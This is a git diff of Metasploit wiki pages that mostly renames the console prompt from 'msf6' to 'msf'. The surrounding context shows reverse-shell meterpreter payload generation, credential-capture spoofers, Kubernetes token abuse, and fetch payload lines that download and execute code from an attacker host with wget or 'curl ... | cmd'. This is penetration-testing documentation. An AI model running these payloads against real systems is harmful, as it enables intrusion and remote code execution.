 Usage: alias [options] [name [value]]
 
 OPTIONS:
@@ -76,20 +76,20 @@ OPTIONS:
 Register an alias such as `proxy_enable`:
 
 ```msf
-msf6 > alias proxy_enable "set Proxies http:localhost:8079"
+msf > alias proxy_enable "set Proxies http:localhost:8079"
 ```
 
 Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
 
 ```msf
-msf6 auxiliary(scanner/http/title) > proxy_enable
+msf auxiliary(scanner/http/title) > proxy_enable
 Proxies => http:localhost:8079
 ```
 
 Viewing registered aliases:
 
 ```msf
-msf6 > alias
+msf > alias
 
 Current Aliases
 ===============
@@ -122,9 +122,9 @@ To use the plugin, it must first be loaded. That will provide the `captureg` com
 and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
 
 ```msf
-msf6 > load capture
+msf > load capture
 [*] Successfully loaded plugin: Credential Capture
-msf6 > captureg start --ip 192.168.159.128
+msf > captureg start --ip 192.168.159.128
 Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
 Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
 [+] Authentication Capture: DRDA (DB2, Informix, Derby) started
@@ -150,7 +150,7 @@ Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_2022032
 [+] LLMNR Spoofer started
 [+] mDNS Spoofer started
 [+] Started capture jobs
-msf6 >
+msf >
 ```
 
 This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).

docs/metasploit-framework.wiki/How-to-Configure-DNS.md

@@ -19,7 +19,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
 The current configuration can be printed by running `dns print`:
 
 ```msf
-msf6 > dns print
+msf > dns print
 Default search domain: N/A
 Default search list:   lab.lan
 Current cache size:    0

docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md

@@ -12,7 +12,7 @@ msf auxiliary(oracle_login) > run
 ```
 or
 ```msf
-msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
+msf auxiliary(scanner/oracle/oracle_hashdump) > run
 
 [-] Failed to load the OCI library: cannot load such file -- oci8
 [-] Try 'gem install ruby-oci8'

docs/metasploit-framework.wiki/How-to-get-started-with-writing-an-auxiliary-module.md

@@ -41,7 +41,7 @@ include Msf::Auxiliary::Scanner
 
 A couple of new things will be added to your module when you include this mixin. You will have a new datastore option named "RHOSTS", which allows the user to specify multiple hosts. There's a new "THREADS" option, which allows the number of threads to run during execution. There's also "ShowProgress" and "ShowProgressPercent" for tracking scan progress.
 
-Typically, the main method for an auxiliary module is "def run". But when you use the ```Msf::Auxiliary::Scanenr``` mixin, you need to be using ```def run_host(ip)```. The IP parameter is the target machine.
+Typically, the main method for an auxiliary module is "def run". But when you use the ```Msf::Auxiliary::Scanner``` mixin, you need to be using ```def run_host(ip)```. The IP parameter is the target machine.
 
 ## Templates
 

docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md

@@ -76,27 +76,27 @@ $ dig +short 4.tcp.ngrok.io
 
 metasploit side:
 ```msf
-msf6 > use payload/windows/x64/meterpreter/reverse_http
-msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
+msf > use payload/windows/x64/meterpreter/reverse_http
+msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
 LHOST => 192.0.2.1
-msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
+msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
 LPORT => 17511
-msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
+msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
 ReverseListenerBindAddress => 127.0.0.1
-msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
+msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
 ReverseListenerBindPort => 4444
-msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler 
+msf payload(windows/x64/meterpreter/reverse_http) > to_handler 
 [*] Payload Handler Started as Job 2
-msf6 payload(windows/x64/meterpreter/reverse_http) > 
+msf payload(windows/x64/meterpreter/reverse_http) > 
 [*] Started HTTP reverse handler on http://127.0.0.1:4444
 
-msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
+msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
 [*] Writing 7168 bytes to ngrok_payload.exe...
-msf6 payload(windows/x64/meterpreter/reverse_http) > 
+msf payload(windows/x64/meterpreter/reverse_http) > 
 [*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400
 
-msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
+msf payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
 [*] Starting interaction with 1...
 
 meterpreter > getuid

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

@@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp
 target with the ability to connect back to us with  an HTTP connection and a command execution vulnerability.
 First, let's look at the payload in isolation:
 ```msf
-msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
+msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
 
 Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
 
@@ -62,7 +62,7 @@ LPORT               4444             yes       The listen port
 
 View the full module info with the info, or info -d command.
 
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```
 
 ### Options
@@ -106,19 +106,19 @@ payload, we would see different options.
 
 ### Generating the Fetch Payload
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
 FETCH_COMMAND => WGET
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
 FETCH_SRVHOST => 10.5.135.201
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
 FETCH_SRVPORT => 8000
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
 LHOST => 10.5.135.201
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
 LPORT => 4567
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
 wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```
 
 You can see the fetch payload generated:
@@ -130,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary
 served payload.  With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
 started:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
 [*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
 [*] Payload Handler Started as Job 0
 [*] Fetch Handler listening on 10.5.135.201:8000
@@ -142,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
 The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
 `Jobs`, even though the Fetch Handler is listening:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
 
 Jobs
 ====
@@ -151,7 +151,7 @@ Jobs
   --  ----                    -------                                     ------------
   0   Exploit: multi/handler  cmd/linux/http/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4567
 
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
 [*] exec: netstat -ant | grep 8000
 
 tcp        0      0 10.5.135.201:8000       0.0.0.0:*               LISTEN     
@@ -159,13 +159,13 @@ tcp        0      0 10.5.135.201:8000       0.0.0.0:*               LISTEN
 ```
 Killing the Served Payload handler will kill the Fetch Handler as well:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
 [*] Stopping the following job(s): 0
 [*] Stopping job 0
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
 [*] exec: netstat -ant | grep 8000
 
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```
 
 ## Using Fetch Payloads on the Fly
@@ -183,7 +183,7 @@ The following example shows both the original command to download and execute th
 original fetch command directly to the shell.  Since this requires two downloads, it is less stealthy, but the
 command to run on the target is significantly shorter.
 ``` msf
-msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
+msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
 [*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
 
 [*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
@@ -290,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly
 4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
 start a tftp fetch handler, a new service will start:
 ```msf
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
 
 Jobs
 ====
@@ -299,16 +299,16 @@ Jobs
   --  ----                    -------                                       ------------
   2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444
 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
 LPORT => 4445
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
 
 [*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
 [*] Payload Handler Started as Job 4
 
 [*] starting tftpserver on 10.5.135.201:8080
 [*] Started reverse TCP handler on 10.5.135.201:4445 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
 
 Jobs
 ====
@@ -318,23 +318,23 @@ Jobs
   2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444
   4   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4445
 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
 [*] exec: netstat -an | grep 8080
 
 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
 FETCH_URIPATH => test4
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
 LPORT => 8547
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
 
 [*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
 [*] Payload Handler Started as Job 5
 
 [*] starting tftpserver on 10.5.135.201:8080
 [*] Started reverse TCP handler on 10.5.135.201:8547 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
 [*] exec: netstat -an | grep 8080
 
 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          

docs/metasploit-framework.wiki/How-to-use-the-Favorite-command.md

@@ -7,7 +7,7 @@
 There are two methods of adding a module to the favorites list. The first way is via simply calling `favorite` when there is an active module:
 
 ```shell
-msf6 exploit(multi/handler) > favorite
+msf exploit(multi/handler) > favorite
 [+] Added exploit/multi/handler to the favorite modules file
 ```
 
@@ -15,7 +15,7 @@ msf6 exploit(multi/handler) > favorite
 Using the active module without an active module will print the `favorite` command help output:
 
 ```shell
-msf6 > favorite
+msf > favorite
 [-] No module has been provided to favorite.
 Usage: favorite [mod1 mod2 ...]
 
@@ -35,10 +35,10 @@ OPTIONS:
 The second method of adding favorites allows adding multiple modules at once:
 
 ```msf
-msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec
+msf > favorite exploit/multi/handler exploit/windows/smb/psexec
 [+] Added exploit/multi/handler to the favorite modules file
 [+] Added exploit/windows/smb/psexec to the favorite modules file
-msf6 > show favorites
+msf > show favorites
 
 Favorites
 =========
@@ -59,14 +59,14 @@ Modules can be deleted from the favorites list individually or by clearing the c
 #### Deleting an active module from favorites list
 
 ```shell
-msf6 exploit(multi/handler) > favorite -d
+msf exploit(multi/handler) > favorite -d
 [*] Removing exploit/multi/handler from the favorite modules file
 ```
 
 #### Specifying module(s) to delete
 
 ```shell
-msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
+msf > favorite -d exploit/multi/handler exploit/windows/smb/psexec
 [*] Removing exploit/multi/handler from the favorite modules file
 [*] Removing exploit/windows/smb/psexec from the favorite modules file
 ```
@@ -74,7 +74,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
 #### Clearing the favorites list
 
 ```msf
-msf6 > show favorites
+msf > show favorites
 
 Favorites
 =========
@@ -84,9 +84,9 @@ Favorites
    0  exploit/multi/handler                        manual  No     Generic Payload Handler
    1  exploit/windows/smb/psexec  1999-01-01       manual  No     Microsoft Windows Authenticated User Code Execution
 
-msf6 > favorite -c
+msf > favorite -c
 [+] Favorite modules file cleared
-msf6 > show favorites
+msf > show favorites
 [!] The favorite modules file is empty
 ```
 
@@ -95,7 +95,7 @@ msf6 > show favorites
 The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands.
 
 ```shell
-msf6 > favorite -l
+msf > favorite -l
 
 Favorites
 =========
@@ -104,4 +104,4 @@ Favorites
    -  ----                        ---------------  ----    -----  -----------
    0  exploit/multi/handler                        manual  No     Generic Payload Handler
    1  exploit/windows/smb/psexec  1999-01-01       manual  No     Microsoft Windows Authenticated User Code Execution
-```
+```

docs/metasploit-framework.wiki/How-to-use-the-Git-mixin-to-write-an-exploit-module.md

@@ -352,19 +352,19 @@ end
 The module will start the http server and print the repo to clone
 
 ```msf
-msf6 > use exploit/multi/http/git_clone_test
+msf > use exploit/multi/http/git_clone_test
 [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
-msf6 exploit(multi/http/git_clone_test) > set srvport 9999
+msf exploit(multi/http/git_clone_test) > set srvport 9999
 srvport => 9999
-msf6 exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
+msf exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
 lhost => 192.168.140.1
-msf6 exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
+msf exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
 srvhost => 192.168.140.1
-msf6 exploit(multi/http/git_clone_test) > run
+msf exploit(multi/http/git_clone_test) > run
 [*] Exploit running as background job 0.
 [*] Exploit completed, but no session was created.
 
-msf6 exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 
+msf exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 
 [*] Using URL: http://192.168.140.1:9999/MOYuJfC
 [*] Server started.
 [*] Git repository to clone: http://192.168.140.1:9999/y-find.git

docs/metasploit-framework.wiki/Loading-Test-Modules.md

@@ -5,18 +5,18 @@ and should not be used during normal operations. These modules also as part of t
 By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
 
 ```msf
-msf6 > loadpath test/modules
+msf > loadpath test/modules
 Loaded 38 modules:
     14 auxiliary modules
     13 exploit modules
     11 post modules
-msf6 > 
+msf > 
 ```
 
 The modules can be searched for:
 
 ```msf
-msf6 > search post/test
+msf > search post/test
 
 Matching Modules
 ================
@@ -35,8 +35,8 @@ Matching Modules
 Example of running the test module against an opened session:
 
 ```
-msf6 > use post/test/cmd_exec
-msf6 post(test/cmd_exec) > run session=-1
+msf > use post/test/cmd_exec
+msf post(test/cmd_exec) > run session=-1
 ...
 [*] Testing complete in 2.04 seconds
 [*] Passed: 6; Failed: 0; Skipped: 0
@@ -47,7 +47,7 @@ The `post/test/all` module is an aggregate module that can be used to quickly ru
 against a currently open session:
 
 ```msf
-msf6 post(test/all) > run session=-1
+msf post(test/all) > run session=-1
 
 [*] Applicable modules:
 Valid modules for x86/windows session 1

docs/metasploit-framework.wiki/Managing-Sessions.md

@@ -7,7 +7,7 @@ When you have a number of sessions open, searching can be a useful tool to navig
 You can get a list of sessions matching a specific criteria within msfconsole:
 
 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
+msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
 Active sessions
 ===============
 
@@ -20,7 +20,7 @@ Active sessions
 Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
 
 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
+msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
 
 Active sessions
 ===============
@@ -45,7 +45,7 @@ Of note in the above example, `last_checkin` requires an extra argument. The sec
 If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:
 
 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
+msf payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
 [*] Killing matching sessions...
 
 Active sessions
@@ -58,5 +58,5 @@ Active sessions
 
 [*] 192.168.2.132 - Meterpreter session 1 closed.
 [*] 192.168.2.132 - Meterpreter session 2 closed.
-msf6 payload(windows/meterpreter/reverse_http) >
+msf payload(windows/meterpreter/reverse_http) >
 ```

docs/metasploit-framework.wiki/Measuring-Metasploit-Performance.md

@@ -30,7 +30,7 @@ In both scenarios, reports will be generated and written to disk that can be ope
 The `time` command in msfconsole can be used to record the performance of a command:
 
 ```msf
-msf6 exploit(windows/smb/ms17_010_psexec) > time reload
+msf exploit(windows/smb/ms17_010_psexec) > time reload
 [*] Reloading module...
 [+] Command "reload" completed in 0.20876399998087436 seconds
 ```
@@ -38,7 +38,7 @@ msf6 exploit(windows/smb/ms17_010_psexec) > time reload
 It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
 
 ```msf
-msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
+msf exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
 ... etc ...
 Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
 [+] Command "search smb" completed in 0.4150249999947846 seconds

docs/metasploit-framework.wiki/Metasploit-Database-Support.md

@@ -42,7 +42,7 @@ Creating initial database schema
 This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.  If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
 
 ```
-msf6 > db_status
+msf > db_status
 [*] Connected to msf. Connection type: postgresql.
 ```
 

docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md

@@ -11,7 +11,7 @@ Note that any port can be used to run an application which communicates via HTTP
 This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:
 
 ```msf
-msf6 > search tomcat http
+msf > search tomcat http
 ```
 
 ### HTTP Examples
@@ -49,12 +49,12 @@ run http://example.com HttpTrace=true verbose=true
 For instance:
 
 ```msf
-msf6 > use scanner/http/title
-msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
+msf > use scanner/http/title
+msf auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
 RHOSTS => 127.0.0.1
-msf6 auxiliary(scanner/http/title) > set HttpTrace true
+msf auxiliary(scanner/http/title) > set HttpTrace true
 HttpTrace => true
-msf6 auxiliary(scanner/http/title) > run
+msf auxiliary(scanner/http/title) > run
 
 ####################
 # Request:
@@ -89,7 +89,7 @@ Content-Length: 178
 [+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for /
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/http/title) >
+msf auxiliary(scanner/http/title) >
 ```
 
 To send all HTTP requests through a proxy, i.e. through Burp Suite:
@@ -170,13 +170,13 @@ Header-Name-Here: <%= 'content of header goes here' %>
 
 The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
 ```msf
-msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
+msf auxiliary(scanner/http/scraper) > cat additional_headers.txt
 [*] exec: cat additional_headers.txt
 
 X-Cookie-Header: <%= 'example-cookie' %>
-msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
+msf auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
 HTTPRAWHEADERS => additional_headers.txt
-msf6 auxiliary(scanner/http/scraper) > exploit
+msf auxiliary(scanner/http/scraper) > exploit
 
 ####################
 # Request:

docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md

@@ -9,7 +9,7 @@ a compromised docker container, or external to the cluster if the required APIs
 In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search kubernetes
+msf > search kubernetes
 ```
 
 ### Lab Environment
@@ -41,12 +41,12 @@ run session=-1
 If the Kubernetes API is publicly accessible and you have a JWT Token:
 
 ```msf
-msf6 > use cloud/kubernetes/enum_kubernetes
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
+msf > use cloud/kubernetes/enum_kubernetes
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
 RHOST => https://kubernetes.docker.internal:6443
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
 TOKEN => eyJhbGciO...
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > run
 [*] Running module against 127.0.0.1
 
 [+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
@@ -68,7 +68,7 @@ Namespaces
 By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform:
 
 ```msf
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
 
 Auxiliary actions:
 
@@ -115,9 +115,9 @@ If you have a Meterpreter session on a compromised Kubernetes container with the
 will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available:
 
 ```msf
-msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
+msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
 TARGET => Interactive WebSocket
-msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
+msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
 
 [*] Routing traffic through session: 1
 [+] Kubernetes service host: 10.96.0.1:443
@@ -137,19 +137,19 @@ pwd
 If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod:
 
 ```msf
-msf6 > use exploit/multi/kubernetes/exec
+msf > use exploit/multi/kubernetes/exec
 [*] Using configured payload python/meterpreter/reverse_tcp
-msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
+msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
 TOKEN => eyJhbGciOiJSUzI1...
-msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
+msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
 POD => thinkphp-67f7c88cc9-tgpfh
-msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
+msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
 RHOSTS => 192.168.159.31
-msf6 exploit(multi/kubernetes/exec) > set TARGET Python
+msf exploit(multi/kubernetes/exec) > set TARGET Python
 TARGET => Python
-msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
+msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
 PAYLOAD => python/meterpreter/reverse_tcp
-msf6 exploit(multi/kubernetes/exec) > run
+msf exploit(multi/kubernetes/exec) > run
 
 [*] Started reverse TCP handler on 192.168.159.128:4444
 [*] Sending stage (39736 bytes) to 192.168.159.31
@@ -164,5 +164,5 @@ Architecture : x64
 Meterpreter  : python/linux
 meterpreter > background
 [*] Backgrounding session 1...
-msf6 exploit(multi/kubernetes/exec) >
+msf exploit(multi/kubernetes/exec) >
 ```

docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md

@@ -44,7 +44,7 @@ run ldap://domain.local;Administrator:p4$$w0rd@192.168.123.13/dc=domain,dc=local
 Example output:
 
 ```msf
-msf6 auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
+msf auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
 [*] Running module against 192.168.123.13
 
 [*] Discovering base DN automatically
@@ -112,8 +112,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Query LDAP for accounts:
 
 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
 [*] Running module against 192.168.123.13
 
 [+] 192.168.123.13:88 - Received a valid TGT-Response

docs/metasploit-framework.wiki/Metasploit-Guide-MSSQL.md

@@ -11,13 +11,13 @@ MSSQL is frequently found on port on the following ports:
 For a full list of MSSQL modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search mssql
+msf > search mssql
 ```
 
 Or to search for modules that work with a specific session type:
 
 ```msf
-msf6 > search session_type:mssql
+msf > search session_type:mssql
 ```
 
 ### Lab Environment
